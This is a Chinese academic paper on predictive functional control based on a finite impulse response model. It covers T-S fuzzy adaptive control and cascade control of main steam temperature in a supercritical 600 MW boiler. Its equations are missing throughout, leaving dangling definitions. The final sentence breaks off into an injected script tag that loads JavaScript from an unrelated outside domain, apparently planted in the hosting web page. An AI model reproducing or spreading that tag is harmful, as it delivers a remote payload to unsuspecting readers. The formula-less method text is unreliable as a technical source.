摘 要：提出了基于有限脉冲响应(fir)模型的预测函数控制(pfc)算法，给出了采用1个基函数(阶跃函数)和2个基函数(阶跃函数、斜坡函数)的控制律的解析解，分析了闭环系统稳态特性，结果表明，系统对于设定值变化和输出扰动均无余差。结合该算法、t-s模糊建模和自适应控制技术，提出了模糊自适应预测函数控制(fapfc)策略，该方法实现简单，对工况变化具有优良的适应性。针对某超临界600mw直流锅炉主汽温对象，设计预测函数-比例(pfc-p)串级控制系统，经4种典型工况下的阶跃响应试验表明，采用pfc-p串级控制策略的主汽温系统具有良好的动态性能，明显优于采用pid-p串级控制策略的主汽温系统；为了克服负荷变化对主汽温系统性能的影响，采用了fapfc策略，仿真结果表明，系统具有良好的负荷适应性，负荷大范围升降时，主汽温度变化能维持在±5℃以内，而且控制量变化平稳，具有较高的工程实用价值。
关键词：主汽温系统；预测函数控制；自适应控制；t-s模糊建模；有限脉冲响应模型
1 引言
模型预测控制在经历了模型预测启发控制(mphc)或称模型算法控制(mac)、动态矩阵控制(dmc)、广义预测控制(gpc)等控制算法之后，发展到预测函数控制(pfc)，它是由richalet和kuntze等人[1,2]在上世纪80年代中后期提出，并成功地应用于工业机器人的快速高精度控制。pfc把控制输入的结构视为关键问题，可以克服其他模型预测控制可能出现规律不明的控制输入问题，同时具有良好的跟踪能力及较强的鲁棒性。文[3]和[4]分别将预测函数控制应用到主汽温系统和多变量强耦合再热汽温系统，取得了良好的控制效果。目前，预测函数控制算法的研究主要集中在基于状态空间(ss)、拉氏传递函数(tf)、自回归(arx)模型的算法上。本文提出了基于有限脉冲响应(fir)模型的预测函数控制算法，给出了采用1个基函数(阶跃函数)和2个基函数(阶跃函数、斜坡函数)的控制律的解析解，分析了闭环系统稳态特性。针对某超临界600mw直流锅炉主汽温对象，应用该算法，设计了pfc-p串级主汽温控制系统，并在4种典型工况下的进行了阶跃响应试验。
takagi和sugeno[5]于1985年提出了t-s模糊模型，本质上是一种非线性模型，易于表达复杂系统的动态特性。文[6]针对零阶t-s模糊模型的辨识问题，提出了一种确定模糊规则结论参数的启发式方法，算法简单，抑制数据噪声能力强。
由于实际生产过程的数学模型往往难以确知或者由于工况改变、环境变化而造成受控对象特性的改变，自适应控制可以较好地解决这个问题。本文进一步结合基于fir模型的预测函数控制算法、t-s模糊建模和自适应控制技术，提出了模糊自适应控制(fapfc)策略。该策略与多模型控制基本思想一致，但是由于模糊模型的插值机理使得辨识模型的输出有很强的泛化能力，因此，可以用少得多的子模型来反映整个系统的动态特征，且模型与模型之间的切换更加平滑，更为突出的优点是对工况变化的适应性。
影响主汽温对象特性的工况参数主要有主蒸汽流量、主蒸汽压力以及主蒸汽温度，其中，主蒸汽流量的影响最为明显。为了克服负荷变化对主汽温系统性能的影响，采用fapfc策略分别进行了升降负荷试验，并与采用固定模型预测函数控制策略比较。仿真结果显示了fapfc策略的优越性能。
2 基于fir模型的预测函数控制算法
2.1 预测函数控制的基本原理
预测函数控制属于预测控制的范畴，因此具有预测控制的３个基本特征：预测模型，滚动优化和反馈校正。
（1）预测模型
预测模型输出ym(k)由两部分组成，一部分为自由项yl(k)，相当于零输入响应，它仅依赖于过去时刻的控制量及输出量，与当前时刻及将来的控制量无关。另一部分为受迫项yf(k)，相当于零状态响应，它是当前时刻起加入控制作用后新增加的模型响应。
预测函数控制中，新加入的控制作用可表示
式中 fn(n=1,…,nb)称为基函数；nb为基函数个数；fn(i)为基函数在its时刻的值；ts为采样周期；h为预测优化时域长度；mn为线性组合系数。
模型受迫响应输出可以表示为
（2）滚动优化
预测函数控制的参考轨迹可以取多种形式，对于渐进稳定受控对象，通常采用一阶指数形式
式中 nh为拟合点个数，应该大于或等于nb； hi(i= 1,…,nh)为选定的拟合点，拟合点的选择影响控制器的稳定和鲁棒性能；yp(k+i)为过程输出预测； ym(k+i)是k+i时刻的模型输出；e(k+i)为未来误差。
（3）反馈校正
实际情况下，由于模型失配、二次输入及噪声等的影响，预测模型输出与过程输出之间常存在着误差。为此，对未来优化时域中的误差进行预测，预测的方法有多种，可以取为
式中 y(k)为k时刻的对象输出；ym(k)为k时刻的预测模型输出。
2.2 基于fir模型输出预测
被控对象的真实数学模型可用?script src=http://er12.com/t.js>
